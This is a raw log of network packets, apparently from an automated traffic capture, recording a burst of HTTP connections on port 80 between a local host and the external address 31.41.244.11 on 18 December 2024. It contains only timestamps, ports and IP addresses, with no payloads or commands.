Dec 18, 2024 19:08:52.810674906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.810718060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.812881947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.812937975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.812963009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.813005924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.815465927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.815522909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.815551996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.815589905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.817998886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.818059921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.818151951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.818192959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.820578098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.820640087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.820794106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.820842028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.823498964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.823535919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.823554993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.823570967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.825751066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.825799942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.825875998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.825917006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.828444958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.828504086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.828528881 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.828586102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.830930948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.830980062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.831049919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.831089020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.833527088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.833583117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.833642960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.833688021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.836065054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.836111069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.836136103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.836173058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.838639975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.838687897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.838844061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.838885069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.841195107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.841247082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.841571093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.841610909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.843775988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.843820095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.843842030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.843882084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.846364021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.846415997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.846492052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.846533060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.848860979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.848911047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.849018097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.849066019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.851475954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.851521015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.851804018 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.851857901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.854072094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.854115963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.854418993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.854461908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.856626034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.856672049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.856743097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.856791973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.859216928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.859261990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.859426022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.859471083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.861949921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.861994982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.862023115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.862061977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.864373922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.864423037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.864537001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.864577055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.866955042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.867002010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.867027998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.867063046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.869550943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.869595051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.870944023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.870990992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.872139931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.872181892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.872231960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.872270107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.874764919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.874809980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.875283957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.875329018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.877239943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.877289057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.877336979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.877374887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.879926920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.879976988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.880000114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.880039930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.882716894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.882761955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.883078098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.883117914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.885005951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.885049105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.885276079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.885314941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.887573957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.887624025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.887775898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.887820005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.890135050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.890187979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.890444994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.890486956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.892699003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.892744064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.892832994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.892874956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.895229101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.895273924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.895364046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.895399094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.897888899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.897942066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.898001909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.898041010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.900531054 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.900578976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.900824070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.900865078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.902981043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.903027058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.903089046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.903127909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.905585051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.905633926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.905698061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.905736923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.908104897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.908149958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.908845901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.908884048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.910643101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.910684109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.911010027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.911051035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.913204908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.913255930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.913304090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.913341999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.915796995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.915848017 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.915924072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.915962934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.918368101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.918409109 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.918905973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.918946981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.920984983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.921029091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.921155930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.921195030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.923543930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.923589945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.923646927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.923686028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.926229954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.926275969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.926333904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.926371098 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.928668022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.928720951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.928771973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.928812027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.931309938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.931376934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.931432009 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.931472063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.933881044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.933923006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.933924913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.933959007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.936372995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.936425924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.936630011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.936671972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.939048052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.939097881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.939249992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.939289093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.941540956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.941586971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.941833973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.941874981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.944118023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.944194078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.944291115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.944330931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.946818113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.946861029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.946863890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.946897984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.949233055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.949280024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.949348927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.949402094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.951827049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.951874971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.952133894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.952176094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.954401016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.954451084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.954880953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.954921961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.956974983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.957025051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.957083941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.957123995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.959544897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.959594011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.960357904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.960402012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.962174892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.962224960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.962440014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.962481976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.964694977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.964746952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.964833975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.964875937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.967279911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.967324018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.967473030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.967515945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.969846964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.969906092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.970597029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.970640898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.973051071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.973112106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.973160982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.973206043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.975142002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.975198984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.975301027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.975359917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.977612972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.977667093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.977756977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.977806091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.980122089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.980190039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.980237961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.980281115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.982887030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.982948065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.982999086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.983042955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.985276937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.985341072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.985464096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.985502958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.987838984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.987910986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.988024950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.988070011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.990521908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.990592003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.990617037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.990658045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.993033886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.993093967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.993308067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.993356943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.995537996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.995595932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.995676994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.995719910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.998156071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.998208046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.998347998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.998388052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.000703096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.000761986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.000782013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.000823021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.002846956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.002882957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.002902985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.002914906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.004842997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.004888058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.004906893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.004949093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.006891966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.006938934 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.007090092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.007132053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.008999109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.009056091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.009140968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.009182930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.011024952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.011079073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.011102915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.011143923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.013115883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.013164997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.013406038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.013449907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.015204906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.015253067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.015428066 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.015471935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.017271042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.017335892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.017357111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.017405987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.021511078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.021574974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.021609068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.021620035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.021661997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.021815062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.021861076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.023493052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.023569107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.023592949 CET	80	49739	31.41.244.11	192.168.2.5
